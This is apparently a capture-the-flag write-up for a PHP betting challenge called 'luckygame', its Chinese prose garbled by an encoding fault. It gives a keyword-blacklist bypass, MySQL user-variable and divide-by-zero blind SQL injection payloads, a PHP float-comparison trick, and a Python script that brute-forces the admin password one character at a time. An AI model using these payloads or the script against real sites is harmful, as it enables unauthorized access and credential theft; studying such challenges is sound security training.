杩欎笅鎴戜滑鏈変袱涓敞鍏ョ偣浜嗭紝浣嗘槸鎴戜滑閬囧埌浜嗘柊鐨勯棶棰橈紝濡傛灉缁曡繃filter鐨勫垽鏂

1
2
3
4
5
6
function filter($s){
global $tbls_name,$cols_name;
$blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing
if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>");
return $s;
}

杩欓噷鐨勪富瑕侀棶棰樻槸锛屽浣曠粫杩囧琛ㄥ悕鍜屽垪鍚嶇殑鍒ゆ柇銆

杩欓噷鐢ㄤ竴涓粦绉戞妧锛屾棦鐒舵垜浠彲浠ユ妸admin鐨勫瘑鐮侀氳繃娉ㄥ叆鏉elect鍑烘潵锛岄偅涔堥棶棰樺氨鏄浣曡幏鍙栬繖涓粨鏋滐紝杩欓噷鍙互浣跨敤mysql涓殑鍙橀噺銆

1
2
SELECT * FROM `users` WHERE username = "admin" into @a,@b,@c,@d;
INSERT INTO logs VALUES (id+1,'17|Update 1e-1000' in (concat('123',1/(substr(@c,1,1)='d'))))

閫氳繃鏋勯犲弻璇彞锛屾瀯閫犳姤閿欑洸娉紝鎴戜滑鍐嶆潵鐪嬬湅浠g爜

1
2
3
4
5
6
7
8
9
10
if(xx){
echo "You won!";
if(!update_point($_REQUEST['bet']))
return;
} else {
echo "You lost :(";
if(!update_point(-$_REQUEST['bet']))
return;
}
echo "</aside>";

濡傛灉鎴戜滑鏋勯犻櫎0閿欒锛屽鑷磇nsert鎶ラ敊锛岃繖鏍疯繖閲屽氨浼氱洿鎺eturn锛屽鏋滄甯稿氨鑳借緭鍑</aside>锛岃繖鏍峰氨鏋勬垚浜嗙洸娉ㄣ

杩欓噷浣跨敤鐨勮繕鏄痬ysql鐨勯暱杩炴帴鐗规э紝杩欐牱鎵嶈兘淇濊瘉@c鍦ㄦ敞鍏ョ殑鏃跺欎粛鐒跺瓨鍦ㄣ

杩欓噷鎴戜滑鏋勯爑sername涓

1
admin' into @a,@b,@c,@d#

鐒跺悗鏋勯燽et涓

1
1e-1000' in (concat('123',1/(substr("test",1,1)='d'))))#

鏈鍚庝竴涓潙鏄痯hp鐨勫潙锛岀敱浜庢垜浠湪鑾峰彇my_point鐨勬椂鍊欓亣鍒颁簡涓浜涢棶棰橈紝鍥犱负棰樼洰涓湁涓垽鏂

1
2
3
(int)$_REQUEST['bet'] > 0
if($_REQUEST['bet'] > $points) die("What?! you're cheater!");

瑕佹弧瓒宠繖涓潯浠讹紝鎴戜滑闇瑕佷竴浜涢粦绉戞妧銆

1
2
3
4
5
6
<?php
$a=1e-10;
var_dump((int)$a);
var_dump($a>0);
?>

褰揳涓1e-10鐨勬椂鍊欙紝php鐨勮繑鍥炴槸杩欐牱鐨

1
2
3
D:\wamp64\www\test.php:3:int 0
D:\wamp64\www\test.php:5:boolean true

褰揳涓1e-1000鐨勬椂鍊欙紝php鐨勮繑鍥炴槸杩欐牱鐨

1
2
3
D:\wamp64\www\test.php:3:int 0
D:\wamp64\www\test.php:5:boolean false

杩欐牱鎴戜滑灏卞彲浠ユ瀯閫犲嚭鏉ヤ竴涓棦澶т簬0锛屽張涓嶅ぇ浜0鐨勫硷紝瀹屾垚娉ㄥ叆銆

杩欓噷鑴氭湰鐢ㄤ簡灏弇鐨

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# -*- coding: utf-8 -*-
import hashlib
from string import ascii_letters, digits
import requests
import re
url = 'http://127.0.0.1/rsctf/luckygame/'
header = {'cookie': 'PHPSESSID=jja6dabqrsgl8r43t6md3n1o14'}
flag = ''
exit_flag = False
for i in range(1, 33):
for j in ascii_letters + digits:
payload = "1e-1000' in (concat('123',1/(substr(@c,%d,1)='%s'))))#" % (i, j)
while True:
print payload
res = requests.post(url, data={'guess':'1', 'bet':payload}, headers=header).text
# print res
# raw_input()
if ('won' in res) and ('</aside>' in res):
exit_flag = True
print i
flag += j
print flag
break;
elif ('won' in res):
break
else:
continue
if exit_flag:
exit_flag = False
break;

CATALOG
  1. 1. AVATAR CENTER
  2. 2. uglyweb
  3. 3. ugly01
  4. 4. luckygame